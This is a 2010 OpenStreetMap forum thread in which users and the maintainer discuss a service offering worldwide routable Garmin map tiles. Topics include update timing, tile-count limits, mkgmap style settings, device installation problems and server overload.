- Re: Worldwide routable Garmin maps: URL REMOVED · technate (Gast) · 01.03.2010 19:14 · [flux]
When is the next update planned? I have been working on some changes in the OSM data and want to see if they worked or not.
- Re: Worldwide routable Garmin maps: URL REMOVED · ras_oscar (Gast) · 01.03.2010 19:31 · [flux]
what happens if I get 2 adjoining tiles that overlap? Does mkgmap or mapsource choke? just curious.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.03.2010 20:27 · [flux]
ras_oscar wrote:
Lambertus:
I am a grateful user of your map tiles. Stopped using the installer in favor of compiling the .img files into my own index files. Works fine using mkgmap. However, I've got a question. I'd like to be able to selectively replace individual tiles as I add map features to OSM. If I download a tile on date X, then on date Y (3 months in the future), I download a fresh copy and the tile number is the same am I asured that I will have a compiled map with no gaps or overlap? If there is overlap how will I know it? I'd prefer not to opverburden your servers by asking for the entire collection I am maintaining, which covers 6 states in the US and exceeds the tile count limit.
Well, the overburden happens occasionally but I'm sure your request will not cause the system to go through it's knees :-)
The way the tiles are generated now is not really compatible with your method of updating your map by downloading some -but not all- new tiles. Like greencaps says: the coordinates and tile numbers may vary on each update. I'm thinking about a way to let people like you just download the img tiles from the website without providing an too easy opportunity for leechers to just download everything everytime.
The problem with the maximum tile limit is caused by leechers who request much, if not the entire, planet on each update. That behaviour caused massive increased load on the system and bandwidth usage. Those rather few spoiled it for the rest when I added the tile count restriction. I consider the website to be a flexible service for people who travel through a few countries or who live near a border, not a service for those who wish to download large sections of continents that they will rarely travel anyway just for the sake of having it. I hope you (anyone) will accept my choices in this matter.
Maybe a smarter option could be developed to restrict abuse like maximising the amount of traffic someone generates over the course of, say, several weeks instead of the single-request-tilecount restriction that is implemented currently. I don't know really...
technate wrote:
When is the next update planned? I have been working on some changes in the OSM data and want to see if they worked or not.
You're hooked, I can tell ;-)
The next update is staring next Thursday after the new planet dump release. I've been on holiday last week which explains the delay.
ras_oscar wrote:
what happens if I get 2 adjoining tiles that overlap? Does mkgmap or mapsource choke? just curious.
Not 100% sure, but I guess it's not going to work. The inter-tile routing depends on special edge nodes that line-up perfectly in both tiles to be able to route from one tile to another. There also might be other caveats, perhaps not even routing related, that could happen. You could try it and see what happens...
Chris CA wrote:
Lambertus,
All my OSM maps in Roadtrip and on my Garmin Colorado 300 have a blue dot POI in the middle of every road.
The whole map looks like a martian with chicken pox...From what I have found, the option
--road-name-pois= 0x2f15 (or a different code)
does this to allow searching roads. Did you turn this on recently (in the last week or two)?Based on the reports so far, I've decided to remove the --road-name-pois feature for the next update. It does more harm then good IMHO. The country/state option in the address search on some models just needs to get fixed in Mkgmap...
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 02.03.2010 11:50 · [flux]
ras_oscar wrote:
what happens if I get 2 adjoining tiles that overlap? Does mkgmap or mapsource choke? just curious.
On my GPSMap, overlapping tiles display fine (though I didn't bother to figure out which one was displayed on top). Haven't tried on MapSource.
- Re: Worldwide routable Garmin maps: URL REMOVED · ras_oscar (Gast) · 03.03.2010 00:03 · [flux]
Thanks for the input. I guess I'll just request updated tiles in chunks that and make sure there's goodly gaps between them so with no overlap i can update selected "chunks".
- Re: Worldwide routable Garmin maps: URL REMOVED · phillipsart (Gast) · 05.03.2010 10:17 · [flux]
How often do you update the maps? I was under the impression that your maps where updated monthly. I to have done a lot off additions added to the OSM data and looking forward to seeing my contributions.
Your mainpage indicates "Based on OpenStreetMap data from: 10-02-2010." I been eagerly coming back almost daily to see if the maps are updated. I was under the impression that there's been no updates since the 10 of Feb.
I just had a look and noticed that the info on your homepage still says Based on OpenStreetMap data from: 10-02-2010. I decided to download a map. and when I had chosen the Australian map download it says last updated on the 4 of March, yesterday. I got a bit excited and quickly downloaded the map. Just installed onto my Mac using Roadtrip and it looks to still be based of a map from early February. Even tracks I put in a few weeks ago are not on the maps.
I'm a bit confused now. Why does the download from today say it's updated yesterday, whereby the map is still the same as a map I downloaded a month ago. Am I doing something wrong?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.03.2010 12:14 · [flux]
phillipsart wrote:
How often do you update the maps? I was under the impression that your maps where updated monthly. I to have done a lot off additions added to the OSM data and looking forward to seeing my contributions.
Usually the maps are updated weekly. But I was on vacation last week, so the current version is available for three weeks (I could not produce a new update in the time between when the planet dump became available and when I left).
Your mainpage indicates "Based on OpenStreetMap data from: 10-02-2010." I been eagerly coming back almost daily to see if the maps are updated. I was under the impression that there's been no updates since the 10 of Feb.
I just had a look and noticed that the info on your homepage still says Based on OpenStreetMap data from: 10-02-2010. I decided to download a map. and when I had chosen the Australian map download it says last updated on the 4 of March, yesterday. I got a bit excited and quickly downloaded the map. Just installed onto my Mac using Roadtrip and it looks to still be based of a map from early February. Even tracks I put in a few weeks ago are not on the maps.
I'm a bit confused now. Why does the download from today say it's updated yesterday, whereby the map is still the same as a map I downloaded a month ago. Am I doing something wrong?
The timestamp as given on the homepage is what matters if you want to see new data in the maps. The actual build date of a map is not of importance.
A new update is running as we speak, I guess it's going to be available somewhere Saturday or Sunday. Just keep an eye on the timestamp on the homepage.
- Re: Worldwide routable Garmin maps: URL REMOVED · phillipsart (Gast) · 05.03.2010 14:04 · [flux]
Thanks Lambertus, Very much for the quick response and explanation.
It all makes sense now. I will keep an eye on the date on the home page.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.03.2010 09:55 · [flux]
This weeks update is delayed due to invalid XML characters in the planet dump...
- Re: Worldwide routable Garmin maps: URL REMOVED · echiga (Gast) · 17.03.2010 21:51 · [flux]
When update the costa rican`s maps? to mapsource and the image,
nuvi 265 wt - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.03.2010 22:11 · [flux]
New maps are going to be built after the next planet update (wednesday evening) and preprocessing (starting thursday until somewhere friday). So next update should become available somewhere saturday or sunday at the latest (provided there is no invalid XML in the planet dump like last week).
- Re: Worldwide routable Garmin maps: URL REMOVED · isotope (Gast) · 29.03.2010 17:12 · [flux]
Thanks for putting so much work into this. I'm enjoying the map updates, driving around and trying to contribute and fine-tune data where I can.
How does your mkgmap style definition treat names and refs? For example, Oregon state highway 8 is locally known, and signed, as Canyon Road or Tualatin Valley Highway. The GPSr calls it OR8 (the value of the ref tag) when using the maps you generate. Would this example apply?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 29.03.2010 17:49 · [flux]
Well, I'm using the default Mkgmap stylesheet so that should be handled by this. I admit to not have any knowledge of the styling system of Mkgmap so if you have ideas or suggestions then it might be best if you join the Mkgmap mailinglist.
- Re: Worldwide routable Garmin maps: URL REMOVED · isotope (Gast) · 29.03.2010 20:57 · [flux]
Hmmm... Looks like this patch was submitted to address the issue, and while the Java portion was applied, it looks like the accompanying stylesheet changes were not.
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 29.03.2010 21:08 · [flux]
That patch applies to routing instructions only - is your issue with general GPSr map display, or routing instructions in particular?
- Re: Worldwide routable Garmin maps: URL REMOVED · isotope (Gast) · 30.03.2010 20:02 · [flux]
Both, really. In MapSource, only the highway shield appears, or the text "Or8" on mouseover. In directions, it refers only to the road as "OR8".
The data:
* highway: secondary
* maxspeed: 35 mph
* name: Southwest Tualatin Valley Highway
* name_1: Oregon Route 8
* ref: OR8
* tiger:cfcc: A31
* tiger:county: Washington, OR
* tiger:name_base: Tualatin Valley
* tiger:name_base_1: State Highway 8
* tiger:separated: no
* tiger:source: tiger_import_dch_v0.6_20070808
* tiger:tlid: 158207930
* tiger:upload_uuid: bulk_upload.pl-fa49a608-adf2-4338-8828-4f80569842ccFrom the stylesheet, I'd expect it to display like this:
{OR8} Southwest Tualatin Valley Highway
Stylesheet rule:
highway=secondary {name '${ref|highway-symbol:oval} ${name}' | '${ref|highway-symbol:oval}' | '${name}' }
- Re: Worldwide routable Garmin maps: URL REMOVED · Vclaw (Gast) · 05.04.2010 11:32 · [flux]
I noticed this same thing on some Garmin maps I was making. I think its caused by the highway shields, as the Garmin can't display those as well as the name at the same time. I fixed it by setting the "display_name" for the highways. eg a style rule like this:
highway=primary␣{name␣'${ref|highway-symbol:box}␣${name}'␣|␣'${ref|highway-symbol:box}'␣|␣'${name}';␣add␣display_name␣=␣'${ref}␣-␣${name}'␣}
- Re: Worldwide routable Garmin maps: URL REMOVED · isotope (Gast) · 06.04.2010 16:54 · [flux]
Vclaw wrote:
I fixed it by setting the "display_name" for the highways
That was basically the second part of the patch, and it apparently never made it into the default stylesheet.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.04.2010 19:56 · [flux]
(In case you're wondering if I read this.. I've forwarded this to the Mkgmap mailinglist)
Edit: The change has been committed and should be visible on the next map update (next weekend).
- Re: Worldwide routable Garmin maps: URL REMOVED · phillipsart (Gast) · 12.04.2010 02:18 · [flux]
Hi, What's wrong with the Australia maps? installed them and no tracks, roads nothing show's up, and the file size is very small compared to what they used to be.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.04.2010 08:30 · [flux]
Something went wrong while uploading the latest update to the webserver: only 145 of the 764 tiles are uploaded. The service is offline until all the tiles are uploaded. Thanks to all the people who reported the problem (via email or the forum).
- Re: Worldwide routable Garmin maps: URL REMOVED · Brian Ristuccia (Gast) · 24.04.2010 02:42 · [flux]
I noticed today that Ways with "highway=path" are not being shown on the Garmin map output. Is this intentional, or is there just a missing style rule?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.04.2010 14:06 · [flux]
I'm not sure what's the cause, the default style does seem to process the path's, maybe they'll show up if you increase the level of detail?
- Re: Worldwide routable Garmin maps: URL REMOVED · Brian Ristuccia (Gast) · 27.04.2010 19:45 · [flux]
Lambertus wrote:
I'm not sure what's the cause, the default style does seem to process the path's, maybe they'll show up if you increase the level of detail?
That's exactly the issue. The resulting Garmin map elements for highway=path are shown at 800ft at tighter zoom levels on my Garmin Etrex HCx when detail is set to "More". At normal, they're shown only on 500ft and tighter. One trail I was looking at is partly highway=track and part highway=path and half of it appeared to be "missing" on the map until I zoomed in or turned up the detail setting.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.04.2010 07:51 · [flux]
Ok, these issues are very sensitive. You'd want a map that has as much info available without becoming a big blob of lines. I can understand the decision made to render the path less prominent as the stylesheet used is a generic stylesheet (no specific target audience). I hope setting the detail setting to more will suit you...
- Re: Worldwide routable Garmin maps: URL REMOVED · Brian Ristuccia (Gast) · 29.04.2010 19:19 · [flux]
Lambertus wrote:
Ok, these issues are very sensitive. You'd want a map that has as much info available without becoming a big blob of lines. I can understand the decision made to render the path less prominent as the stylesheet used is a generic stylesheet (no specific target audience). I hope setting the detail setting to more will suit you...
Yeah, I understand the issues at play here, especially on low-color, limited resolution screens. I'm thinking mkgmap should probably do something smarter when a relation contains ways with different maximum zoom levels in order to avoid having part of a route disappear as one zooms out. Also, it would be nice if it could boost the maximum zoom level for lone ways in otherwise empty areas of the map. I'll investigate fixing both of these issues in mkgmap as my time permits.
- Re: Worldwide routable Garmin maps: URL REMOVED · vgeorge (Gast) · 30.04.2010 22:19 · [flux]
I'm running a website to support OpenStreetMap in the Brazilian community (www.mapaslivres.org) and the thing that atracts a lot of new users is the download area for Garmin Maps, but its hard to keep it updated.
Is there a way to link directly to the latest maps for Brazil?
I can mirror it too, but I cannot see a fixed directory structure to do that.
Thanks,
Vitor - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.05.2010 11:43 · [flux]
vgeorge wrote:
I'm running a website to support OpenStreetMap in the Brazilian community (www.mapaslivres.org) and the thing that atracts a lot of new users is the download area for Garmin Maps, but its hard to keep it updated.
Is there a way to link directly to the latest maps for Brazil?
I can mirror it too, but I cannot see a fixed directory structure to do that.
Thanks,
VitorYou are correct, there is no fixed directory structure: the directory name is a combination of map date and md5sum from the concatenated tile names. The number of tiles and tilenumbers for a country change often thus changing the md5sum). I can do the following things:
- Add an option to the website where you pass the country name which will make the website pre-select the tiles. E.g. http://garmin.na1400.info/routable.php?country=Brasil
- Add the md5sum to the country definition file (http://garmin.na1400.info/countries.xml). Combined with the map date file (http://garmin.na1400.info/version) this information could be useful for a script?Would any of these options be helpful?
Note: none of the countries or other combination of tiles are pre-rendered on each update, there is simply not enough disk space available to do so. So there will always be someone who is the first to request a certain map configuration (e.g Brasil) and who will need to enter his/her email address.
- Re: Worldwide routable Garmin maps: URL REMOVED · vgeorge (Gast) · 01.05.2010 16:31 · [flux]
It seems very goog to me, but the e-mail request can be a problem. We want to provide a (almost) daily update for the maps of Brazil because the map is changing very fast. Maybe the best option would run a script like yours in our server.
How often do you run the script?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.05.2010 16:41 · [flux]
vgeorge wrote:
It seems very goog to me, but the e-mail request can be a problem. We want to provide a (almost) daily update for the maps of Brazil because the map is changing very fast. Maybe the best option would run a script like yours in our server.
Yes, it's probably best to generate your own map on your own server.
How often do you run the script?
Normally. once a week based upon the weekly planet dump.
- Re: Worldwide routable Garmin maps: URL REMOVED · abrahamski (Gast) · 02.05.2010 12:14 · [flux]
when going to site "http://garmin.na1400.info/routable.php", i do not get the field to enter an email address - which prevents me - I guess - to make use of downloading any map. am i correct? do i need to do something to get the field visible or is there another way to download the maps for roadtrip?
thanks, - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 02.05.2010 12:37 · [flux]
abrahamski wrote:
when going to site "http://garmin.na1400.info/routable.php", i do not get the field to enter an email address - which prevents me - I guess - to make use of downloading any map. am i correct? do i need to do something to get the field visible or is there another way to download the maps for roadtrip?
thanks,Did you select some tiles or a country first? If you do, then there should find on the left of the map, below the menu, either A) a field in which you can enter your email address or B) a link to the download directory.
- Re: Worldwide routable Garmin maps: URL REMOVED · abrahamski (Gast) · 02.05.2010 13:39 · [flux]
thanks for this and yes i do get the 'download' option. i thought it would send the files to a folder on my computer, though it seems to be trying to send it to my GPS device. is this how it works - i would prefer to have it sent to my mac first and then upload it to my garmin.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 02.05.2010 16:18 · [flux]
abrahamski wrote:
thanks for this and yes i do get the 'download' option. i thought it would send the files to a folder on my computer, though it seems to be trying to send it to my GPS device. is this how it works - i would prefer to have it sent to my mac first and then upload it to my garmin.
Click on the 'download' option and then download the 'osm_routable_roadtrip.zip' file. You can use MapInstall to install the map in RoadTrip/BaseCamp (but I don't have a Mac, so you'll have to read the manual for that).
- Re: Worldwide routable Garmin maps: URL REMOVED · cootha (Gast) · 05.05.2010 23:07 · [flux]
Hi, I'm having trouble getting mapinstall to 'see' these OSM maps. I'm on a mac.
I have got shonkymaps and contours australia and have downloaded the OSM routable maps for Australia downloaded from Lambertus's site. I can see the OSM maps in Basecamp and they are working beautifully. But when I use Mapinstall to send them to the GPS, the map screen just goes blank for the OSM maps. Shonky and contours work perfectly and I can select what I want to go in no worries. The OSM maps when selected just goes blank and won't load anything, even though they are perfect in basecamp.
Can anyone help me, am pulling hair out, what am I doing wrong?
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 06.05.2010 12:26 · [flux]
cootha, I don't have a mac, and the only tool I know that might be useful is for a PC. If you have access to a PC you can load your maps onto, download a copy of MapSetToolkit and see if there are any conflicts (like FIDs) with the maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · cootha (Gast) · 07.05.2010 00:03 · [flux]
thanks seldom, err what are FID's? Still having trouble with not being able to send the OSM maps to the 60cx. Don't have a PC either, will keep trying different stuff.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.05.2010 08:58 · [flux]
I didn't respond earlier because, uh, I don't have a clue.. So three guesses:
A) Zoomlevel and/or detail setting. Zoom out or zoom towards a spot that should be on the map (perhaps the GPS location is still somewhere where you havent downloaded a mapdata for) and set details to normal.
B) transparency in combination with map layer number. Try to disable every map on the gps and then enable OSM.
C) Conflicting map id's. Remove every map from the GPS and upload only OSM (do this only if you have the other maps available (backup) on the pc!) - Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 07.05.2010 18:31 · [flux]
cootha, FIDs are what Lambertus is describing in item C). They are a 4 digit number compiled with the map family.
Another question, what kind of GPSr are you using? I'm having a problem right now with a mkgmap compiled map on my OR300. I can send it, but I can't see it. My map is not compiled from OSM data, however.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 08.05.2010 02:40 · [flux]
One more thing to try cootha, I actually fixed the error I describe immediately above by formatting my memory card. Now everything shows up fine.
- Re: Worldwide routable Garmin maps: URL REMOVED · lteunis (Gast) · 09.05.2010 10:03 · [flux]
Hi Lambertus,
Thanks for this great service!
I've DL'ed the Netherlands yesterday and found some difference in detail in de downloaded version and the OSM webpage. i.e. the forest below Breda. Is this version static or is it updated in a certain period? I'm looking for as much as detail I can get.
Grtz lteunis
- Re: Worldwide routable Garmin maps: URL REMOVED · Dazzatron2 (Gast) · 15.05.2010 10:42 · [flux]
Great service and thanks for providing it. But what I was wanting to do is download a heap of maps for my coming trip to Europe for 3 Months I will be travelling all over Mainland Europe, England, Scotland, Ireland and even down to Egypt and wanted to get all the maps downloaded in advance (Not sure of internet connection while away) and have them in Mapsource so I could use them as I need them. I ran into the problem of having to many tiles selected so reduced it to a few areas and downloaded them in a couple of sections and was hoping that they would combine in Mapsource but by the look of it it just over loads up the latest one. Am I doing something wrong or is there a way to download more tiles in one file. Any help would be appreciated.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.05.2010 14:36 · [flux]
lteunis wrote:
Hi Lambertus,
Thanks for this great service!
I've DL'ed the Netherlands yesterday and found some difference in detail in de downloaded version and the OSM webpage. i.e. the forest below Breda. Is this version static or is it updated in a certain period? I'm looking for as much as detail I can get.
Grtz lteunis
i've had a look at that forest, but could not see any tagging problems with it. So it could be a Mkmgap thing.
The maps are updated weekly (mostly) with the latest Mkgmap version.
Dazzatron2 wrote:
Great service and thanks for providing it. But what I was wanting to do is download a heap of maps for my coming trip to Europe for 3 Months I will be travelling all over Mainland Europe, England, Scotland, Ireland and even down to Egypt and wanted to get all the maps downloaded in advance (Not sure of internet connection while away) and have them in Mapsource so I could use them as I need them. I ran into the problem of having to many tiles selected so reduced it to a few areas and downloaded them in a couple of sections and was hoping that they would combine in Mapsource but by the look of it it just over loads up the latest one. Am I doing something wrong or is there a way to download more tiles in one file. Any help would be appreciated.
There is a limit to the amount of tiles you can select unfortunately. I had to install it to prevent leechers to download as much as possible, overloading the server as a result. I thought that the current limit would suffice for most genuine requests, but tiles are getting smaller so maybe I should up the limit a bit... Anyway you can also download a number of separate requests as you've already done but there's a catch: all map requests have the same productnumbers: install two and you'll only see the latest. There is a solution: use Mkgmap or another application (e.g. MapSetToolKit or sendmap) to join the tiles from different requests yourself.
- Re: Worldwide routable Garmin maps: URL REMOVED · Dazzatron2 (Gast) · 16.05.2010 00:01 · [flux]
Ok thanks I will give that a try and see how I go.
- Re: Worldwide routable Garmin maps: URL REMOVED · markus_g (Gast) · 16.05.2010 03:35 · [flux]
Lambertus wrote:
lteunis wrote:
Hi Lambertus,
Thanks for this great service!
I've DL'ed the Netherlands yesterday and found some difference in detail in de downloaded version and the OSM webpage. i.e. the forest below Breda. Is this version static or is it updated in a certain period? I'm looking for as much as detail I can get.
Grtz lteunis
i've had a look at that forest, but could not see any tagging problems with it. So it could be a Mkmgap thing.
The maps are updated weekly (mostly) with the latest Mkgmap version.
Hello Lambertus ,
I was having the same problem where parks with multipolygons were no longer shown in Australia. I decided to try to create my own maps and had the same problem untill I added the new switch --process-boundary-relations to include multipolygons for Mkkmap .
Regards,
Markus. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.05.2010 09:47 · [flux]
markus_g wrote:
Hello Lambertus ,
I was having the same problem where parks with multipolygons were no longer shown in Australia. I decided to try to create my own maps and had the same problem untill I added the new switch --process-boundary-relations to include multipolygons for Mkkmap .
Regards,
Markus.Thanks for the tip. I'll add that to the next update. Unfortunately the current update just went online, so it'll be next weekend.
Request to all users: Please download only what you really need, so other users can enjoy this service as well. Thank you.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 24.05.2010 02:29 · [flux]
Help!
I live in the southern Philippines and have been adding a lot of roads in that area. The new tiles have put the southern tip of the Philippines in a large tile covering part of Indonesia, Timor, Papua New Guinea and a large part of Australia. If I download all of the Philippines it would also include part of southern China, Hong Kong, Macau, part of Taiwan and part of Japan.I can make do with just the southern tip of the Philippines but is there a way I can cut off the thousands of square miles and the large number of major cities I don't need?
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 24.05.2010 05:52 · [flux]
P.S.
I downloaded the tile containing the southern tip of the Philippines but after I installed the files the GPS and RoadTrip showed almost no roads at all. I put back the files from a previous download and they were back to normal but without the updates of course.Did I do something wrong? Is the new tile too big for my GPS to handle? (it used to be 5mb, now it is 15mb) or is there a problem with the map?
Many thanks for all your work.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 24.05.2010 18:10 · [flux]
Skywoolf, with your background, you might find it easier to create your own maps using JOSM to download data and mkgmap to compile maps for your particular areas of interest. The OSM website has several wikis that will get you started.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 25.05.2010 00:20 · [flux]
Thanks but I don't use any Microsoft OS PCs (I assume the software is for Windows).
I have spent many hours driving and making notes then updating the OpenStreetMap. Of course it is partly for my own benefit but also for the many others in this area that I know use it. If it was just for myself I wouldn't bother at all and certainly would not spend even time and money creating maps only for myself.
Are you saying you don't want all the work I have done or any future work I and others here intend to do? That seems the opposite of what this site is for.
If you don't want any Philippines maps updated then maybe you should post a notice telling Philippines users they are not welcome or their input is not wanted.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.05.2010 10:36 · [flux]
Skywoolf wrote:
Are you saying you don't want all the work I have done or any future work I and others here intend to do? That seems the opposite of what this site is for.
If you don't want any Philippines maps updated then maybe you should post a notice telling Philippines users they are not welcome or their input is not wanted.
What? Where's this snide coming from? No one has ever said or even suggested that your data (or anyone else's in the Philippines) isn't welcome. Of course not. It's exactly the other way around: a big part of this service and OSM as well is meant especially for developing countries as there are no/little/bad map providers for those areas. So please cool down man.
I'm sorry that the update of last week is not up to your standards...that happens as all the tools are in development so things change and occasionally break. Just report it as you've done before and it will be fixed (or not, it's open source and everyone's spare time after all). Seldom just tried to explain that everyone with special interests or demands have the chance to build their own maps that suit their needs better and helpfully pointed towards a source of more information.
So, bottom line: just keep adding roads and other stuff and I'll try to keep the maps updated and if they're not good enough then someone else (or you) might start providing them, but don't get worked-up about an update that isn't top notch. We're all trying our best.
Skywoolf wrote:
Thanks but I don't use any Microsoft OS PCs (I assume the software is for Windows)
Actually, all the software needed to generate Garmin maps works under Linux.
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 25.05.2010 11:10 · [flux]
Skywoolf wrote:
Are you saying you don't want all the work I have done or any future work I and others here intend to do? That seems the opposite of what this site is for.
Hey Skywoolf, I'm just another user, who doesn't speak for anybody but myself. I was suggesting a technical fix if you want to create smaller tiles than those Lambertus is offering.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 25.05.2010 12:10 · [flux]
I don't use Linux either except for web servers.
Sorry Lambertus but I was not complaining at all I was simply explaining what happened and asking for advice on what to do.
I have been building and maintaining web sites for 15 years so I know only too well what a thankless task it is and I do really appreciate your efforts as I am sure I have said more than once.
I was uptight because the impression I got from Seldom's post was that I should go away and create my own maps rather than be part of your community and help with your maps.
I have never complained that your work is not good enough. I know how hard it is to do what you are doing and doing it free.
I don't have any standard I ask you to keep up with. I simply ask for advice on what you think the problem was but was basically told to go away and do my own maps.
I also know from years of experience that people easily get the wrong impression form forum posts which is exactly what I did and what you did here so now I am just trying to clarify the issue.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.05.2010 12:42 · [flux]
Ok, thanks for clearing this up. Let's forget this and move on 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 25.05.2010 13:01 · [flux]
Thanks.
I guess the answer to my question is that the map did not generate properly so I will just wait a week or two and download again. Actually I will be overseas for at least a month starting June 5 so maybe I will just try again when I get back.
- Re: Worldwide routable Garmin maps: URL REMOVED · skela (Gast) · 27.05.2010 08:47 · [flux]
Skywoolf wrote:
Help!
I live in the southern Philippines and have been adding a lot of roads in that area. The new tiles have put the southern tip of the Philippines in a large tile covering part of Indonesia, Timor, Papua New Guinea and a large part of Australia. If I download all of the Philippines it would also include part of southern China, Hong Kong, Macau, part of Taiwan and part of Japan.I can make do with just the southern tip of the Philippines but is there a way I can cut off the thousands of square miles and the large number of major cities I don't need?
Yes. You can take my scripts for the Finnish Garmin map, replace europe/finland.osm.bz2 with asia/philippines.osm.bz2, and adapt areas.list and mkgmap.args after running splitter without areas.list.
If there are problems near the borders (such as some border lines not included in the map extract), you may want to get in touch with Frederik Ramm. In a few iterations, I fixed the cutting polygon of Finland, so that all borders are included and no lake multipolygons (lakes with islands) are divided by the cutting polygon.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 29.05.2010 04:04 · [flux]
Thanks. I don't think I am ready for that yet but will keep it in mind.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 29.05.2010 09:42 · [flux]
Just a notice: the server is severely overloaded. The harddisk is 95% full all the time and scripts are waiting for some space to clear before the next request will be handled. There are 111 requests in the queue currently so expect a long wait before you receive your notification email. Sorry, but there's not much I can do. Ideas are welcome 🙂
Edit: May 30, 23:30 CET: there are 200 requests in the queue. Be patient people...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 29.05.2010 11:30 · [flux]
There is also a osm garmin map generated for the Phillipines: http://esambale.wikispaces.com/osmphil_garmin
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 31.05.2010 20:55 · [flux]
There are currently 213 requests in the queue...
I selected some tiles of the Russian Federation and Mongolia. In two weeks I will go there again. The Russians have done a lot of work on their roads for Openstreetmap. I think there are more then twice the roads now in the database as last year.
So last year I was in Mongolia too. On one of the south roads there were about 200 km's not covered by osm. So I just drove by trial and error and found a small road from Buutsagaan to Guulin and then to Altai. You can see it here: http://tinyurl.com/2v4voq2
I consider it my nicest contribution to openstreetmap.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 01.06.2010 07:21 · [flux]
greencaps wrote:
There are currently 213 requests in the queue...
That was yesterday evening at nine o'çlock.
The email was sent this morning at 8 o'çlock. That's fast! Thanks.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 01.06.2010 07:40 · [flux]
Lambertus wrote:
Sorry, but there's not much I can do. Ideas are welcome 🙂.
Someone could donate a harddisk!?
The files will be available for 48 hours. That is nice. But I just downloaded the requested files within half an hour of you sending/me receiving the notification email so why keep them any longer from there on?
If you put a reply link in the email "i'm ready: release the files" then you can free diskspace as soon as it is no longer needed.
http://............../routable/release.php?dir=27-05-2010&code=e74b2ea23456That needs some programming indeed. (I have already ideas how you could implement that 🙂).
At further thought|: You could provide your webpage with some checkboxes for the kind of files to be produced. Now you produce all files. Just producing the needed files will save not only harddisk space but also processing time. I for example only just needed the .img file.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.06.2010 08:53 · [flux]
At first the service was CPU bound (no caching, cpu running 100% 24/7 not keeping up with demand). This was solved by adding smart caching (keep combinations that are requested often). So if a certain combination is requested again within the 48 hours window (e.g. Germany or the Netherlands) the countdown counter is reset. This allowed many more users and it worked like charm for a while, but demand and the planet file are growing and so is the load on the system. Currently the system is HDD bound, but a much bigger harddisk would make the system CPU bound again quite quickly judging by the Munin graphs. Also, the server is sponsored, no idea if it's possible (or they're willing) to add or replace a harddisk.
I changed the timeout from 48 hours to 42 yesterday, it gives the system a bit fresh air. Btw, bandwidth usage is 2TB+ per month...
greencaps wrote:
At further thought|: You could provide your webpage with some checkboxes for the kind of files to be produced. Now you produce all files. Just producing the needed files will save not only harddisk space but also processing time. I for example only just needed the .img file.
That could be useful indeed as it would alleviate both key limiting factors
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 01.06.2010 12:22 · [flux]
I don't know how good or how expensive your hosting company is (if you are using one) but during the last 16 years of building web sites I have had some good and plenty of nightmares. I am currently using Hostgator and have to say they are exceptional in terms of value and support. I suspect they might even be interested in a deal where you could advertise them on the site to reduce hosting costs.
Just a thought you might want to check out.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.06.2010 13:23 · [flux]
Well, Oxilion is sponsoring this server and I'm certainly not complaining about their service level or commitment, in contrary. They also sponsor a development and tileserver for the Dutch OSM community, host the OSM forum and sponsor a server for my online routing website yournavigation.org. But, although they have been very supportive so far, I'm reluctant to ask for even more.
I believe that a combination of allowed high cpu usage and lots of traffic for little money is a rare combination in the hosting business. I also don't have the illusion that somehow showing a few adds on the website is going to compensate for moving to a rented server at hosting company X. Or am I missing something?
- Re: Worldwide routable Garmin maps: URL REMOVED · Skywoolf (Gast) · 01.06.2010 13:54 · [flux]
It sounds like what you have is as good as it gets. Greencaps suggestions make good sense to me if they can be implemented.
- Re: Worldwide routable Garmin maps: URL REMOVED · shonkylogic (Gast) · 08.06.2010 13:06 · [flux]
